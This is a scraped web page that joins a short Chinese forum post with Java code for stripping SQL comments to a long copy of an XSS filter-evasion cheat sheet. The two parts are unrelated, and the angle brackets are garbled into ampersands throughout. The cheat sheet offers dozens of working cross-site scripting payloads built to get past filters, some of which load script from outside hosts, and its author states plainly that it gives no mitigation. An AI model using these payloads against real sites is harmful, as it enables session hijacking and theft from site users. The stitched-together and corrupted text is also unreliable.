<?import ext.namespacee="t" implementation="#default#time2"> 什么意思
点击联系发帖人
时间：2012-03-10 15:59
java 去掉sql诠释 &"_读书人
java 去掉sql诠释 &"
&来源：读书人网&【读书人网()：综合教育门户网站】
java 去掉sql注释 --......写java代码，去掉sql中的注释.录井任务.sqlselect tsk.well_id,tsk.owner_org_
java 去掉sql注释 &--......&写java代码，去掉sql中的注释.录井任务.sqlselect tsk.well_id,&&&&&& tsk.owner_org_id owner_id, ---业务ID&&&&&& to_char(tsk.start_pause_time1, 'yyyy-MM-dd') pause_start, --中停开始日期&&&&&& to_char(tsk.end_pause_time1, 'yyyy-MM-dd') pause_end, --中停结束日期&&&&&& tsk.geographic_location location, --地理位置&&&&&& tsk.enable_trans, -- 是否允许传输(0:不是;1:是)&&&&&& to_char(tsk.start_pause_time2, 'yyyy-MM-dd') pause_start2, --二次中停开始日期&&&&&& to_char(tsk.end_pause_time2, 'yyyy-MM-dd') pause_end2, -- 二次中停结束日期&&&&&& tsk.locked_if locked, ---是否锁定记录编辑&&&&&& tsk.had_trans, --- 是否远传了数据 0：否，1：是&&&&&& tsk.spare2 data_valid,&&&&&& tsk.spare1 batch_add,&&&&&& petenc_name team_competenc, -- 队伍资质名称&&&&&& substr(tsk.extra_item, 1, 1) ding_l_y_g_if, --是否定量银光&&&&&& substr(tsk.extra_item, 2, 1) heci_if, --- 是否核磁录井&&&&&& substr(tsk.extra_item, 3, 1) di_hua_if, -- 是否地化录井&&&&&& mw.record_no bwpk, --记录号&&&&&& mw.over_symbol over_tag, ---完钻标志&&&&&&&&&&&& cw.spud_in_date is null) and oil.bill_id is null)&order by subg1.coding_show_id, mw.over_symbol, w.well_name&java类:&package com.yw.system.A7;import java.io.BufferedRimport java.io.IOEimport java.io.InputSimport java.io.InputStreamRpublic class Test {&&public static void main(String[] args){&&new Test().getSql();&}&private String getSql(){&&InputStream is = getClass().getResourceAsStream(&/录井任务.sql&);&&//File file = new File(&/录井任务.sql&);&&&&&&& BufferedReader reader =&&&&&&& StringBuffer sb = new StringBuffer();&&&&&&& try {&&&&&&&&&&& reader = new BufferedReader(new InputStreamReader(is));&&&&&&&&&&& String tempString =&&&&&&&&&&& int line = 1;&&&&&&&&&&& while ((tempString = reader.readLine()) != null) {&&&&&&&&&&&&&&& System.out.println(&line & + line + &: & + tempString);//一行行的读&&&&&&&&&&&&&&& sb.append(tempString.contains(&--&)?tempString.substring(0, tempString.indexOf(&--&)):tempString.substring(0));&&&&&&&&&&&&&&& line++;&&&&&&&&&&& }&&&&&&&&&&& reader.close();&&&&&&& } catch (IOException e) {&&&&&&&&&&& e.printStackTrace();&&&&&&& } finally {&&&&&&&&&&& if (reader != null) {&&&&&&&&&&&&&&& try {&&&&&&&&&&&&&&&&&&& reader.close();&&&&&&&&&&&&&&& } catch (IOException e1) {&&&&&&&&&&&&&&& &e1.printStackTrace();&&&&&&&&&&&&&&& }&&&&&&&&&&& }&&&&&&& }&&&&return sb.toString();&&&}}&&XSS (Cross Site Scripting) Cheat Sheet
XSS (Cross Site Scripting) Cheat SheetEsp: for filter evasion
Note from the author: XSS is Cross Site Scripting. If you don't know how XSS (Cross Site Scripting) works, this page probably won't help you. This page is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion.
This page will also not show you how to mitigate XSS vectors or how to write the actual cookie/credential stealing/replay/session riding portion of the attack.
It will simply show the underlying methodology and you can infer the rest.
Also, please note my XSS page has been replicated by the
in the Appendix section with my permission.
However, because this is a living document I suggest you continue to use this site to stay up to date.
Also, please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the page, however, if you have specific concerns about outdated or obscure versions please download them from .
Please see the
if you intend to use
or other automated tools.
If you have an RSS reader feel free to subscribe to the Web Application Security RSS feed below, or join the :
XSS (Cross Site Scripting):
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up.
below to encode the entire string.
Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "&PLAINTEXT&" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--&&/SCRIPT&"&'&&SCRIPT&alert(String.fromCharCode(88,83,83))&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check.
View source after injecting it and look for &XSS verses &XSS to see if it is vulnerable:
'';!--"&XSS&=&{()}
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):
&SCRIPT SRC=http://jb51.net/xss.js&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well - I'll probably revise this at a later date):
&IMG SRC="javascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
&IMG SRC=javascript:alert('XSS')&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
XSS attack vector:
&IMG SRC=JaVaScRiPt:alert('XSS')&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(the semicolons are required for this to work):
&IMG SRC=javascript:alert(&XSS&)&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents):
&IMG SRC=`javascript:alert("RSnake says, 'XSS'")`&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Originally found by
(but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes.
I assume this was originally meant to correct sloppy coding.
This would make it significantly more difficult to correctly parse apart an HTML tag:
&IMG """&&SCRIPT&alert("XSS")&/SCRIPT&"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(if no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need). Click
to build your own (thanks to Hannes Leopold):
&IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
encoding (all of the XSS examples that use a javascript: directive inside of an &IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode).
for more information:
&IMG SRC=javascript:alert('XSS')&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total).
This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):
&IMG SRC=		)&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
without semicolons (this is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters).
for more information:
&IMG SRC=javascript:alert('XSS')&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
to break up the cross site scripting attack:
&IMG SRC="jav	ascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
to break up XSS:
&IMG SRC="jav	ascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack.
That is incorrect.
Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work.
for more details.
The following four XSS examples illustrate this vector:
&IMG SRC="jav
ascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted.
Often I've seen filters that assume the hex and dec encoding has to be two or three characters.
The real rule is 1-7 characters.):
&IMG SRC="jav
ascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector) these are not spaces just one of the three characters as described above:
&IMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
>
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
breaks up JavaScript directive. Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like
or use %00 in the URL string or if you want to write your own injection tool you can either use
(^V^@ will produce a null) or the following program to generate it into a text file.
Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char).
But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example:
perl -e 'print "&IMG SRC=java\0script:alert(\"XSS\")&";' & out
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
breaks up cross site scripting vector. Here is a little known XSS attack vector using null characters.
You can actually break up the HTML itself using the same nulls as shown above.
I've seen this vector bypass some of the most restrictive XSS filters to date:
perl -e 'print "&SCR\0IPT&alert(\"XSS\")&/SCR\0IPT&";' & out
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword.
The actual reality is you can have any char from 1-32 in decimal):
&IMG SRC=" 
javascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag.
The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace.
For example "&SCRIPT\s" != "&SCRIPT/XSS\s":
&SCRIPT/XSS SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
XSS. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer.
The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks.
Note that this also applies to the grave accent char as seen here:
&BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
brought this to my attention that there is slightly different behavior between the IE and Gecko rendering engines that allows just a slash between the tag and the parameter with no spaces.
This could be useful if the system does not allow spaces.
&SCRIPT/SRC="http://jb51.net/xss.js"&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like
that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course).
The double slash comments out the ending extraneous bracket to supress a JavaScript error:
&&SCRIPT&alert("XSS");//&&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "&&/SCRIPT>" portion of this Cross Site Scripting vector.
Firefox assumes it's safe to close the HTML tag and add closing tags for you.
How thoughtful!
Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it.
You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:
&SCRIPT SRC=http://jb51.net/xss.js?&B&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
This particular variant was submitted by
and was based partially off of Ozh's protocol resolution bypass below.
This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a &/SCRIPT& tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better.
The ".j" is valid, regardless of the encoding type because the browser knows it in context of a SCRIPT tag.
&SCRIPT SRC=//ha.ckers.org/.j&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
HTML/JavaScript XSS vector.
Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images.
This is useful as a vector because it doesn't require a close angle bracket.
This assumes there is any HTML tag below where you are injecting this cross site scripting vector.
Even though there is no close "&" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it.
It gets around : /((\%3D)|(=))[^\n]*((\%3C)|&)[^\n]+((\%3E)|&)/ because it doesn't require the end "&".
As a side note, this was also affective against a real world XSS filter I came across using an open ended &IFRAME tag instead of an &IMG tag:
&IMG SRC="javascript:alert('XSS')"
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
angle brackets.
This is an odd one that
brought to my attention.
At first I misclassified this as the same XSS vector as above but it's surprisingly different.
Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering.
Without it, Firefox will work but Netscape won't:
&iframe src=http://jb51.net/scriptlet.html &
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
&SCRIPT&a=/XSS/
alert(a.source)&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
When the application is written to output some user information inside of a JavaScript like the following: &SCRIPT&var a="$ENV{QUERY_STRING}";&/SCRIPT& and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character.
When this is gets injected it will read &SCRIPT&var a="\\";alert('XSS');//";&/SCRIPT& which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire.
uses this method.:
\";alert('XSS');//
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
This is a simple XSS vector that closes &TITLE& tags, which can encapsulate the malicious cross site scripting attack:
&/TITLE&&SCRIPT&alert("XSS");&/SCRIPT&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
&INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
&BODY BACKGROUND="javascript:alert('XSS')"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(I like this method because it doesn't require using any variants of "javascript:" or "&SCRIPT..." to accomplish the XSS attack).
additionally noted that you can put a space before the equals sign ("onload=" != "onload ="):
&BODY ONLOAD=alert('XSS')&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
that can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing).
Please note I have excluded browser support from this section because each one may have different results in different browsers.
for the HTML+TIME updates:
1. FSCommand() (attacker can use this when executed from within an embedded Flash object)
2. onAbort() (when user aborts the loading of an image)
3. onActivate() (when object is set as the active element)
4. onAfterPrint() (activates after user prints or previews print job)
5. onAfterUpdate() (activates on data object after updating data in the source object)
6. onBeforeActivate() (fires before the object is set as the active element)
7. onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard - attackers can do this with the execCommand("Copy") function)
8. onBeforeCut() (attacker executes the attack string right before a selection is cut)
9. onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
10. onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state or when an editable container object is control selected)
11. onBeforePaste() (user needs to be tricked into pasting or be forced into it using the execCommand("Paste") function)
12. onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or execCommand("Print") function).
13. onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload windows unless it was spawned from the parent)
14. onBegin() (the onbegin event fires immediately when the element's timeline begins)
15. onBlur() (in the case where another popup is loaded and window looses focus)
16. onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of the marquee reach one side of the window)
17. onCellChange() (fires when data changes in the data provider)
18. onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)
19. onClick() (someone clicks on a form)
20. onContextMenu() (user would need to right click on attack area)
21. onControlSelect() (fires when the user is about to make a control selection of the object)
22. onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
23. onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
24. onDataAvailable() (user would need to change data in an element, or attacker could perform the same function)
25. onDataSetChanged() (fires when the data set exposed by a data source object changes)
26. onDataSetComplete() (fires to indicate that all data is available from the data source object)
27. onDblClick() (user double-clicks a form element or a link)
28. onDeactivate() (fires when the activeElement is changed from the current object to another object in the parent document)
29. onDrag() (requires that the user drags an object)
30. onDragEnd() (requires that the user drags an object)
31. onDragLeave() (requires that the user drags an object off a valid location)
32. onDragEnter() (requires that the user drags an object into a valid location)
33. onDragOver() (requires that the user drags an object into a valid location)
34. onDragDrop() (user drops an object (e.g. file) onto the browser window)
35. onDrop() (user drops an object (e.g. file) onto the browser window)
36. onEnd() (the onEnd event fires when the timeline ends.
This can be exploited, like most of the HTML+TIME event handlers by doing something like &P STYLE="behavior:url('#default#time2')" onEnd="alert('XSS')"&)
37. onError() (loading of a document or image causes an error)
38. onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in the data source object)
39. onFilterChange() (fires when a visual filter completes state change)
40. onFinish() (attacker can create the exploit when marquee is finished looping)
41. onFocus() (attacker executes the attack string when the window gets focus)
42. onFocusIn() (attacker executes the attack string when window gets focus)
43. onFocusOut() (attacker executes the attack string when window looses focus)
44. onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
45. onKeyDown() (user depresses a key)
46. onKeyPress() (user presses or holds down a key)
47. onKeyUp() (user releases a key)
48. onLayoutComplete() (user would have to print or print preview)
49. onLoad() (attacker executes the attack string after the window loads)
50. onLoseCapture() (can be exploited by the releaseCapture() method)
51. onMediaComplete() (When a streaming media file is used, this event could fire before the file starts playing)
52. onMediaError() (User opens a page in the browser that contains a media file, and the event fires when there is a problem)
53. onMouseDown() (the attacker would need to get the user to click on an image)
54. onMouseEnter() (cursor moves over an object or area)
55. onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off again)
56. onMouseMove() (the attacker would need to get the user to mouse over an image or table)
57. onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
58. onMouseOver() (cursor moves over an object or area)
59. onMouseUp() (the attacker would need to get the user to click on an image)
60. onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
61. onMove() (user or attacker would move the page)
62. onMoveEnd() (user or attacker would move the page)
63. onMoveStart() (user or attacker would move the page)
64. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
65. onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
66. onPause() (the onpause event fires on every element that is active when the timeline pauses, including the body element)
67. onProgress() (attacker would use this as a flash movie was loading)
68. onPropertyChange() (user or attacker would need to change an element property)
69. onReadyStateChange() (user or attacker would need to change an element property)
70. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
71. onReset() (user or attacker resets a form)
72. onResize() (user wou attacker could auto initialize with something like: &SCRIPT&self.resizeTo(500,400);&/SCRIPT&)
73. onResizeEnd() (user wou attacker could auto initialize with something like: &SCRIPT&self.resizeTo(500,400);&/SCRIPT&)
74. onResizeStart() (user wou attacker could auto initialize with something like: &SCRIPT&self.resizeTo(500,400);&/SCRIPT&)
75. onResume() (the onresume event fires on every element that becomes active when the timeline resumes, including the body element)
76. onReverse() (if the element has a repeatCount greater than one, this event fires every time the timeline begins to play backward)
77. onRowsEnter() (user or attacker would need to change a row in a data source)
78. onRowExit() (user or attacker would need to change a row in a data source)
79. onRowDelete() (user or attacker would need to delete a row in a data source)
80. onRowInserted() (user or attacker would need to insert a row in a data source)
81. onScroll() (user would need to scroll, or attacker could use the scrollBy() function)
82. onSeek() (the onreverse event fires when the timeline is set to play in any direction other than forward)
83. onSelect() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
84. onSelectionChange() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
85. onSelectStart() (user needs to select some text - attacker could auto initialize with something like: window.document.execCommand("SelectAll");)
86. onStart() (fires at the beginning of each marquee loop)
87. onStop() (user would need to press the stop button or leave the webpage)
88. onSyncRestored() (user interrupts the element's ability to play its media as defined by the timeline to fire)
89. onSubmit() (requires attacker or user submits a form)
90. onTimeError() (user or attacker sets a time property, such as dur, to an invalid value)
91. onTrackChange() (user or attacker changes track in a playList)
92. onUnload() (as the user clicks any link or presses the back button or attacker forces a click)
93. onURLFlip() (this event fires when an Advanced Streaming Format (ASF) file, played by a HTML+TIME (Timed Interactive Multimedia Extensions) media tag, processes script commands embedded in the ASF file)
94. seekSegmentTime() (this is a method that locates the specified point on the element's segment time line and begins playing from that point. The segment consists of one repetition of the time line including reverse play using the AUTOREVERSE attribute.)
&IMG DYNSRC="javascript:alert('XSS')"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
&IMG LOWSRC="javascript:alert('XSS')"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
&BGSOUND SRC="javascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(works in Netscape 4.x):
&BR SIZE="&{alert('XSS')}"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
(also only works in Netscape 4.x)
&LAYER SRC="http://jb51.net/scriptlet.html"&&/LAYER&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
&LINK REL="stylesheet" HREF="javascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.)
This only works in IE and Netscape 8.1+ in IE rendering engine mode.
Notice that there is nothing on the page to show that there is included JavaScript.
With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:
&LINK REL="stylesheet" HREF="http://jb51.net/xss.css"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag).
A slight variation on this vector was used to .
As a side note, you can remove the end &/STYLE& tag if there is HTML immediately after the vector to close it.
This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:
&STYLE&@import'http://jb51.net/xss.css';&/STYLE&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
. This only works in Opera 8.0 (no longer in 9.x) but is fairly tricky.
According to
setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera).
The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: &http://jb51.net/xss.css&; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:
&META HTTP-EQUIV="Link" Content="&http://jb51.net/xss.css&; REL=stylesheet"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
This only works in Gecko rendering engines and works by binding an XUL file to the parent page.
I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:
&STYLE&BODY{-moz-binding:url("http://jb51.net/xssmoz.xml#xss")}&/STYLE&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector.
The example file works by pulling in the JavaScript and running it as part of the style attribute:
&XSS STYLE="behavior: url(xss.htc);"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Fairly esoteric issue dealing with embedding images for bulleted lists.
This will only work in the IE rendering engine because of the JavaScript directive.
Not a particularly useful cross site scripting vector:
&STYLE&li {list-style-image: url(&javascript:alert('XSS')&);}&/STYLE&&UL&&LI&XSS
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
in an image:
&IMG SRC='vbscript:msgbox("XSS")'&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(older versions of Netscape only):
&IMG SRC="mocha:[code]"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
(older versions of Netscape only):
&IMG SRC="livescript:[code]"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
encoding (found by ).
This uses malformed ASCII encoding with 7 bits instead of 8.
This XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the encoding yourself.
This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion.
Apache Tomcat is the only known server that transmits in US-ASCII encoding.
I highly suggest anyone interested in alternate encoding issues look at
scriptalert(XSS??script?/TEXTAREA>
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02] [NS4]
(the odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs):
&META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
URL scheme.
This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, because it utilizes base64 encoding.
Please see
for more details or go
to encode your own.
You can also use the
below if you just want to encode raw HTML or JavaScript as it has a Base64 encoding method:
&META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the following technique (Submitted by ):
&META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(if iframes are allowed there are a lot of other XSS problems as well):
&IFRAME SRC="javascript:alert('XSS');"&&/IFRAME&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(frames have the same sorts of XSS problems as iframes):
&FRAMESET&&FRAME SRC="javascript:alert('XSS');"&&/FRAMESET&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(who would have thought tables were XSS targets... except me, of course):
&TABLE BACKGROUND="javascript:alert('XSS')"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors):
&TABLE&&TD BACKGROUND="javascript:alert('XSS')"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
&DIV STYLE="background-image: url(javascript:alert('XSS'))"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
exploit (this has been modified slightly to obfuscate the url parameter).
The original vulnerability was found by
as a vulnerability in Hotmail:
&DIV STYLE="background-image:\6C\a\61\72\74\003a\65\28.53\29'\0029"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
I built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can include hex and add padding of course.
(Any of the following chars can be used: 1-32, 34, 39, 160, , 1):
&DIV STYLE="background-image: url(javascript:alert('XSS'))"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
- a variant of this was effective against a real world cross site scripting filter using a newline between the colon and "expression":
&DIV STYLE="width: expression(alert('XSS'));"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts):
&STYLE&@im\port'\ja\vasc\ript:alert("XSS")';&/STYLE&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
to break up expression (Thanks to
for this one):
&IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
(IE6.0 and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter):
&XSS STYLE="xss:expression(alert('XSS'))"&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
